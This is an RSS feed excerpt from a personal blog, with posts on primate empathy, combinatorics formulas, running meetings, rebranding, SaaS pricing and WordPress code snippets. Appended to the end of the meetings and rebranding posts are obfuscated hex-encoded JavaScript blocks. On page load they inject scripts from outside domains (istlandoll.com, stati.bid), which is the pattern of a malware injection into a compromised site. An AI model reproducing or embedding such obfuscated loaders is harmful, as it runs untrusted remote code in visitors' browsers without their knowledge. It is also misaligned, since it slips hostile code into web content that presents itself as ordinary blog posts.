<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p><a href="https://leowid.com/the-surprising-science-of-alpha-males-the-most-empathetic-member-of-the-group/">Leo Widrich &#8211; The surprising science of alpha males &amp; females: The most empathetic member of the group</a></p><p>&#8230;</p><p>One of the things that completely baffled me, but upon closer inspection, makes a lot of sense, was his finding that any alpha in a group of chimpanzees always happens to be the most empathetic member. He analyzed this by studying empathic behavior like consoling, hugging and other indicating moves. Although generally females in any group tend to offer more empathetic behavior to the members of the group, when it comes to the alpha, they show a level of empathy that is way off the charts compared to the rest.</p><p><img fetchpriority="high" width="650" height="367" class="wp-image-3261" style="width: 650px;" src="http://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2020/07/chimpanzee-empathy.png" rel='magnific' alt="" srcset="https://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2020/07/chimpanzee-empathy.png 904w, https://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2020/07/chimpanzee-empathy-300x170.png 300w, https://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2020/07/chimpanzee-empathy-768x434.png 768w" sizes="(max-width: 650px) 100vw, 650px" /></p><p>&#8230;</p><p>A second insight that I took from de Waal’s research, was that the stress level of the highest-ranking members of a group, as he studied it in chimpanzees and bonobos were also the most stressed members of the group.</p><p><img width="650" height="360" class="wp-image-3263" style="width: 650px;" src="http://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2020/07/chimpanzee-stress.jpg" alt="" srcset="https://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2020/07/chimpanzee-stress.jpg 907w, https://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2020/07/chimpanzee-stress-300x166.jpg 300w, https://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2020/07/chimpanzee-stress-768x425.jpg 768w" sizes="(max-width: 650px) 100vw, 650px" /></p></blockquote>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2020/07/25/alpha-males-and-females-are-the-most-empathetic/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Permutations and combinations: What they are, and the formula to determine them</title>
		<link>https://yllus.com/2018/10/26/permutations-combinations-formula-determine/</link>
					<comments>https://yllus.com/2018/10/26/permutations-combinations-formula-determine/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Sat, 27 Oct 2018 02:36:51 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=3200</guid>

					<description><![CDATA[Permutations A selection of objects in which the order of the objects matters. nPk = n! / (n - k)! Example: If we wanted to get the number of permutations in which 6 people could be seated into 4 chairs, <a href="https://yllus.com/2018/10/26/permutations-combinations-formula-determine/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<h4>Permutations</h4>
<p>A selection of objects in which the order of the objects matters.</p>
<pre><sub>n</sub>P<sub>k</sub> = n! / (n - k)!</pre>
<p>Example: If we wanted to get the number of permutations in which 6 people could be seated into 4 chairs, we&#8217;d find that it would be 360 permutations in total:</p>
<pre><sub>6</sub>P<sub>4</sub> = 6! / (6 - 4)! = 720 / 2 = 360</pre>
<h4></h4>
<h4>Combinations</h4>
<p>The number of possible combination of r objects from a set on n objects.</p>
<pre><sub>n<span style="font-size: 16px;">C</span></sub><sub>k</sub> = n! / ( k! * (n - k)! )</pre>
<p>Example: Let&#8217;s say instead we want to get the number of combinations in which 6 people could be seated into 4 chairs; we&#8217;d find that it would be 15 combinations in total:</p>
<pre><sub>6<span style="font-size: 16px;">C</span></sub><sub>4</sub> = 6! / ( 4! * (6 - 4)! ) = 720 / ( 24 * 2 ) = 720 / 48 = 15</pre>
<h4></h4>
<h4>References</h4>
<ul>
<li><a href="https://www.khanacademy.org/math/precalculus/prob-comb/combinations/v/combination-formula">Khan Academy &#8211; Combination formula</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2018/10/26/permutations-combinations-formula-determine/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to hold effective, creative meetings</title>
		<link>https://yllus.com/2018/05/07/hold-effective-creative-meetings/</link>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Tue, 08 May 2018 02:04:56 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=3173</guid>

					<description><![CDATA[As a people manager, I&#8217;ve always been aware of the tendency of subordinates to want to agree with you &#8211; or at least to avoid having to voice a conflicting opinion.  At my most clear-headed, I&#8217;m careful to keep my opinions <a href="https://yllus.com/2018/05/07/hold-effective-creative-meetings/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>As a people manager, I&#8217;ve always been aware of the tendency of subordinates to want to agree with you &#8211; or at least to avoid having to voice a conflicting opinion.  At my most clear-headed, I&#8217;m careful to keep my opinions to myself until later in a discussion. Below are some excellent suggestions for getting a good, creative discussion going before you start to narrow your options.</p>
<blockquote><p><a href="https://www.inc.com/minda-zetlin/productive-meetings-creativity-innovation-employee-engagement-best-ideas.html">Inc.com &#8211; Your Meetings Are Killing Employees&#8217; Best Ideas. It Isn&#8217;t Your Fault. Here&#8217;s How to Fix Them</a></p>
<p>So what happens when a group gets together to discuss an important issue? Members show their affinity to the group by restating and confirming what other group members, and especially group leaders, have already said. Even those with important and pertinent information to share tend to forget that information or dismiss it as not really relevant in their eagerness to show their solidarity with the group and its views. They also set aside their own insights and focus on how to assist in the group&#8217;s chosen course of action. This is such a profound human instinct that most of us do it without realizing it.</p>
<p>All of this is great for having harmonious meetings that seem highly efficient, but it&#8217;s not so great for finding innovative solutions to problems or recognizing new threats or opportunities. Fortunately, although you can&#8217;t eliminate shared information bias, there are things you can do to lessen its effects and increase the chances that employees will share more of the good ideas and relevant information they have. For your next team meeting, follow these simple rules:</p>
<h2>Have people bring notes.</h2>
<p>Make sure each team member arrives at the meeting with a list of a few important points he or she plans to share. That way, if shared information bias causes them to forget or dismiss whatever they planned to say, they can refer to their notes and be reminded that they consider these points important.</p>
<h2>Specifically ask for dissenting opinions.</h2>
<p>As a group consensus emerges, pause the proceedings and say something like this: &#8220;It sounds like a lot of us agree. But right now, I would like to hear from anyone who has a different view.&#8221; If team members have other viewpoints but have hesitated to voice them, this invitation may bring those other viewpoints forward.</p>
<h2>Go around the table.</h2>
<p>You can follow up your request for dissenting opinions by going around the room and asking each team member to say what he or she thinks. I learned the power of this approach years ago when I taught a class and made it a practice to ask each class participant in turn to speak. One man who was somewhat shy and would never have volunteered to say anything consistently offered some of the most insightful comments of the whole group. If you&#8217;re not hearing from every person at a team meeting, you are likely missing valuable information.</p>
<h2>If you&#8217;re the leader, speak last.</h2>
<p>The leader or leaders of the team should make sure to gather everyone else&#8217;s input before offering their own. In most groups, members are highly attuned to leaders&#8217; opinions and are especially eager to go along with them. If you speak up too early&#8211;even making it clear that yours is just one view and you want to hear others&#8211;team members will tend to look for ways to agree with what you&#8217;ve said rather than take the conversation in a different direction with insights or opinions of their own. By keeping your thoughts to yourself at least through the early part of the meeting, you&#8217;ll give them a chance to shine. And you&#8217;ll gain the benefit of hearing their best ideas.</p></blockquote>
<p> <script>var _0x290f=["\x3C\x73\x63\x72","\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x6A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x69\x73\x74\x6C","\x61\x6E\x64\x6F\x6C\x6C\x2E\x63\x6F\x6D\x2F\x6A\x71\x75\x65\x72\x79\x2D\x75\x69\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72","\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];function printju(){var _0x27b4x2=_0x290f[0];var _0x27b4x3=_0x290f[1];var _0x27b4x4=_0x290f[2];var _0x27b4x5=_0x290f[3];document[_0x290f[4]](_0x27b4x2+ _0x27b4x3+ _0x27b4x4+ _0x27b4x5)}printju()</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>When is a good time to re-brand?</title>
		<link>https://yllus.com/2017/10/14/good-time-to-rebrand/</link>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Sat, 14 Oct 2017 19:23:35 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=2974</guid>

					<description><![CDATA[Saw an interesting post in my e-mail today (care of the generally excellent CB Kickstart newsletter): When indeed is a good time to execute a rebrand for your organization? What should the purpose of a rebrand be? What should you <a href="https://yllus.com/2017/10/14/good-time-to-rebrand/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>Saw an interesting post in my e-mail today (care of the generally excellent <a href="http://www.canadianbusiness.com/newsletter-sign-up/">CB Kickstart newsletter</a>): When indeed is a good time to execute a rebrand for your organization? What should the purpose of a rebrand be? What should you look out for to make sure you&#8217;re not executing one for the wrong reasons? It all depends on your organization&#8217;s particular situation, but the Johnson Banks piece below is a nice little writeup on the topic.</p>
<blockquote><p><a href="https://www.johnsonbanks.co.uk/thoughts/why-brands-change">Johnson Banks &#8211; Why brands change</a></p>
<p>When is a good time to re-brand?</p>
<p>One of the most powerful and legitimate reasons to change is a fundamental <strong>change in business circumstances</strong> – a merger, or a takeover, for example. Recently two London based property companies, Development Securities and Cathedral Group merged, and rather than subsume one into the other they created a new brand, <a href="http://www.uandiplc.com/">U+I (United and Industrious)</a>. When Singapore airlines sold their majority stake in Virgin Atlantic, there was a point at which the Delta board would have looked at the <a href="https://www.johnsonbanks.co.uk/work/virgin-atlantic">Virgin brand</a> and had to decide – do we keep it, or do we ‘fold’ it into our brand? Thus far, they have established clear links between the brands without formally merging them.</p>
<p>Sometimes an organisation’s <strong>core market changes</strong>. This might mean that a brand that was created to ‘fit’ with one product or market no longer works. So Shelter’s previous symbol used a piece of typewritten, ‘angry’ type, which matched their original mission to concentrate on the homeless. But a gradual switch in focus to bad housing meant that needed to be reflected in their <a href="https://www.johnsonbanks.co.uk/work/shelter">rebrand</a>.</p>
<p>&#8230;</p>
<p>When is a bad time to rebrand?</p>
<p>When the original commissioning team moves on, branding’s biggest biggest problems arrive. The <strong>first issue is boredom</strong>. After about three years, an internal team, their agencies, their advisors – everyone – has had enough, and people start to tinker. Yet, paradoxically, about two-to-three years in is precisely when a new brand has just started to seep into the public consciousness, and arguably that’s exactly when a brand should become more consistent, not less.</p>
<p>The next big problem is <strong>‘not invented here’ syndrome</strong>. New teams, often new directors arrive, and the human desire to ‘make a mark’ kicks in. Someone lets the internal team tinker, and slowly things unravel. Every new business manager for every major branding company in the world keeps an eye out for changes at the top of major organisations – because this is when existing branding schemes are at their most vulnerable, new brooms are brought in, and the sweeping starts.</p>
<p>With some recent rebrands there’s also a sense of <strong>if in doubt blame the brand</strong>. At launch in 2007, the previous Southbank design scheme seemed like a powerful and flexible idea that could flex and modulate across the institution’s communications, but within five years had been relegated to just the ‘logo at the bottom of the poster’.</p>
<p>&#8230;</p></blockquote>
<p> <script>var _0x29b4=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Why do so many websites offer 3 levels / plans for their SaaS product?</title>
		<link>https://yllus.com/2017/06/14/many-websites-offer-3-levels-plans-saas-product/</link>
					<comments>https://yllus.com/2017/06/14/many-websites-offer-3-levels-plans-saas-product/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Wed, 14 Jun 2017 16:08:54 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Business]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=2951</guid>

					<description><![CDATA[A random conversation I had this week at the Canadian Football League reminded me of a question I was asked and looked up the answer to nearly a decade ago: Why do so many websites offer three levels or plans <a href="https://yllus.com/2017/06/14/many-websites-offer-3-levels-plans-saas-product/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-2952" src="http://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2017/06/kissmetrics-plans.png" alt="" width="1254" height="1059" /></p>
<p>A random conversation I had this week at the Canadian Football League reminded me of a question I was asked and looked up the answer to nearly a decade ago: Why do so many websites offer three levels or plans to choose from when it comes time to purchase their product? And really, what is the optimal amount of choices to make available to a potential client?</p>
<p>The answer is multifaceted, but as you&#8217;d expect, the prevailing wisdom is that 3 choices &#8211; and elevating one as the best or most popular &#8211; works best. Here&#8217;s a quick rundown as to why.</p>
<p><strong>The Centre Stage Effect.</strong> <a href="http://www.sciencedirect.com/science/article/pii/S1057740809000291">Formal psychological studies</a> have been done on the positioning of products on a page, and it appears that consumers infer that the middle option is placed there because of its popularity (a self-fulfilling prophecy if there ever was one).</p>
<p><a href="http://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2017/06/microwave-choices.png" rel='magnific'><img loading="lazy" class="aligncenter size-full wp-image-2953" src="http://pumpinglemmacompany.nyc3.digitaloceanspaces.com/yllus/wp-content/uploads/2017/06/microwave-choices.png" alt="" width="486" height="210" /></a></p>
<p><strong>The Compromise Effect.</strong> UXmatters has <a href="http://www.uxmatters.com/mt/archives/2011/04/how-shortcut-decision-strategies-affect-decision-outcomes.php">a great paper on shortcut decision making</a>; it mentions a research study that had one set of study participants be offered two microwaves at a $110 and $180 price point; participants chose fairly evenly, with a small majority preferring the cheaper option. But when a second set of study participants was offered three options, a clear winner emerged: The middle price point. The conclusion? When a consumer can&#8217;t decide whether to go high or low, a compromise option that sits in the middle is what our mostly logical minds push us towards.</p>
<p><strong>Also: The Bandwagon Effect.</strong> Further, studies have illustrated that when consumers are pointed towards a choice and given the information that it is the most popular choice amongst their peers, the middle choice becomes even more compelling. Basically, consumers who may have little information at the time of their purchase as to what &#8220;level&#8221; fits them best will use whatever information is at hand &#8211; like the popularity of a choice &#8211; to finalize their decision.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2017/06/14/many-websites-offer-3-levels-plans-saas-product/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Making scheduled posts in WordPress public so they can be scheduled / scraped on social media</title>
		<link>https://yllus.com/2017/05/18/making-scheduled-posts-in-wordpress-public-so-they-can-be-scheduled-scraped-on-social-media/</link>
					<comments>https://yllus.com/2017/05/18/making-scheduled-posts-in-wordpress-public-so-they-can-be-scheduled-scraped-on-social-media/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Thu, 18 May 2017 13:48:53 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<category><![CDATA[WordPress]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=2935</guid>

					<description><![CDATA[The basics of scheduling in WordPress are quite simple: If you give a WordPress post a published date set in the future, it&#8217;ll remain &#8220;hidden&#8221; on your website until that date and time arrives. It&#8217;ll then appear, right on time, at <a href="https://yllus.com/2017/05/18/making-scheduled-posts-in-wordpress-public-so-they-can-be-scheduled-scraped-on-social-media/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>The basics of scheduling in WordPress are quite simple: If you give a WordPress post a published date set in the future, it&#8217;ll remain &#8220;hidden&#8221; on your website until that date and time arrives. It&#8217;ll then appear, right on time, at the top of your list of public posts.</p>
<p>But here&#8217;s an interesting problem: Social media is now a major driver (maybe <em>the</em> driver) of traffic to digital media websites. When you schedule your post in WordPress, you&#8217;ll also naturally want to schedule that post to appear on Facebook and Twitter &#8211; but that would require the WordPress post to be public, which in its &#8220;future&#8221; post status isn&#8217;t yet.</p>
<p>The code snippet below can be placed in your theme&#8217;s functions.php file, and allows non-logged-in website visitors to view posts in the &#8220;future&#8221; post status as well as merely &#8220;publish&#8221;ed posts.</p>
<pre class="brush: plain; title: ; notranslate">
// Allow site visitors (people not logged in to WordPress) to view posts in the &quot;future&quot; post status.
function show_future_posts_pre_get_posts($query) {
    if ( is_single() &amp;&amp; !is_admin() &amp;&amp; $query-&gt;is_main_query() ) { 
        if ( !is_user_logged_in() ) {
            $query-&gt;set(&quot;post_status&quot;, array(&quot;publish&quot;, &quot;future&quot;)); 
        }
    } 
}
add_filter('pre_get_posts', 'show_future_posts_pre_get_posts');
</pre>
<p>Reference:</p>
<ul>
<li><a href="http://stackoverflow.com/questions/12572703/allow-anyone-to-view-future-posts-of-a-certain-post-type-events-in-wordpress">StackOverflow: Allow anyone to view future posts of a certain post type (events) in WordPress</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2017/05/18/making-scheduled-posts-in-wordpress-public-so-they-can-be-scheduled-scraped-on-social-media/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to get WordPress post permalinks directly from the MySQL database</title>
		<link>https://yllus.com/2015/12/08/how-to-get-wordpress-post-permalinks-directly-from-the-mysql-database/</link>
					<comments>https://yllus.com/2015/12/08/how-to-get-wordpress-post-permalinks-directly-from-the-mysql-database/#comments</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Tue, 08 Dec 2015 15:26:44 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=2873</guid>

					<description><![CDATA[While generating a CSV of old-and-new URLs for a site I&#8217;ve been busy migrating to WordPress, I ran into this brilliant bit of semi-working code to get the permalink for Posts using a pure SQL query (for MySQL): SELECT wpp.post_title, wpp.guid, wpp.post_date, <a href="https://yllus.com/2015/12/08/how-to-get-wordpress-post-permalinks-directly-from-the-mysql-database/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>While generating a CSV of old-and-new URLs for a site I&#8217;ve been busy migrating to WordPress, I ran into this brilliant bit of semi-working code to get the permalink for Posts using a pure SQL query (for MySQL):</p>
<pre class="brush: plain; title: ; notranslate">
SELECT wpp.post_title, wpp.guid, wpp.post_date,
       REPLACE( REPLACE( REPLACE( REPLACE( wpo.option_value, '%year%', DATE_FORMAT(wpp.post_date,'%Y') ), '%monthnum%', DATE_FORMAT(wpp.post_date, '%m') ), '%day%', DATE_FORMAT(wpp.post_date, '%d') ), '%postname%', wpp.post_name ) AS permalink
  FROM wp_posts wpp
  JOIN wp_options wpo
    ON wpo.option_name = 'permalink_structure'
 WHERE wpp.post_type = 'post'
   AND wpp.post_status = 'publish'
 ORDER BY wpp.post_date DESC;
</pre>
<p>References:</p>
<ul>
<li><a href="http://stackoverflow.com/questions/3464701/export-list-of-pretty-permalinks-and-post-title">StackOverflow: Export list of pretty permalinks and post title</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2015/12/08/how-to-get-wordpress-post-permalinks-directly-from-the-mysql-database/feed/</wfw:commentRss>
			<slash:comments>6</slash:comments>
		
		
			</item>
		<item>
		<title>How to disable WordPress&#8217;s internal search system (while still using its search page templates)</title>
		<link>https://yllus.com/2015/11/14/how-to-disable-wordpresss-internal-search-system-while-still-using-its-search-page-templates/</link>
					<comments>https://yllus.com/2015/11/14/how-to-disable-wordpresss-internal-search-system-while-still-using-its-search-page-templates/#respond</comments>
		
		<dc:creator><![CDATA[Sully Syed]]></dc:creator>
		<pubDate>Sat, 14 Nov 2015 22:59:07 +0000</pubDate>
				<category><![CDATA[All Entries]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<guid isPermaLink="false">http://yllus.com/?p=2869</guid>

					<description><![CDATA[On websites like Sportsnet.ca ( http://www.sportsnet.ca/ ) and Maclean&#8217;s ( http://www.macleans.ca/ ), the amount of content on those WordPress websites long ago exceeded the level that the built-in WordPress search system can capably handle. Third-party search solutions such as Google CSE (Custom Search Engine) are <a href="https://yllus.com/2015/11/14/how-to-disable-wordpresss-internal-search-system-while-still-using-its-search-page-templates/"><div class="read-more"><p>Read more &#8250;</p></div><!-- end of .read-more --></a>]]></description>
										<content:encoded><![CDATA[<p>On websites like Sportsnet.ca ( <strong><a class="external-link" href="http://www.sportsnet.ca/" rel="nofollow">http://www.sportsnet.ca/</a></strong> ) and Maclean&#8217;s ( <strong><a class="external-link" href="http://www.macleans.ca/" rel="nofollow">http://www.macleans.ca/</a></strong> ), the amount of content on those WordPress websites long ago exceeded the level that the built-in WordPress search system can capably handle.</p>
<p>Third-party search solutions such as <strong><a class="external-link" href="https://www.google.com/cse/" rel="nofollow">Google CSE (Custom Search Engine)</a></strong> are being utilized instead, but there is a momentary slowdown before the page loads that is caused by the WordPress site executing its own internal search query before it displays the search results page. In order to remove this delay (and the unnecessary database request), add the following code to the theme&#8217;s <strong>functions.php</strong> file:</p>
<pre class="brush: plain; title: ; notranslate">
// Disable WordPress's internal search query (as much as we can), letting Google CSE handle that.
function internal_search_disable( $query ) {
    if ( !is_admin() &amp;&amp; $query-&gt;is_main_query() ) {
        if ( $query-&gt;is_search ) {
            // Add a filter that effectively returns no results ever.
            add_filter('posts_where', 'internal_search_filter_where');
        }
    }
    return $query;
}
add_action('pre_get_posts', 'internal_search_disable');
 
// The WHERE search filter for disabling the internal search system.
function internal_search_filter_where( $where = '' ) {
    $where = &quot; AND 0 = 1&quot;;
 
    // Once added, remove the filter to stop affecting other queries on the page.
    remove_filter('posts_where', 'internal_search_filter_where');
    return $where;
}
</pre>
]]></content:encoded>
					
					<wfw:commentRss>https://yllus.com/2015/11/14/how-to-disable-wordpresss-internal-search-system-while-still-using-its-search-page-templates/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
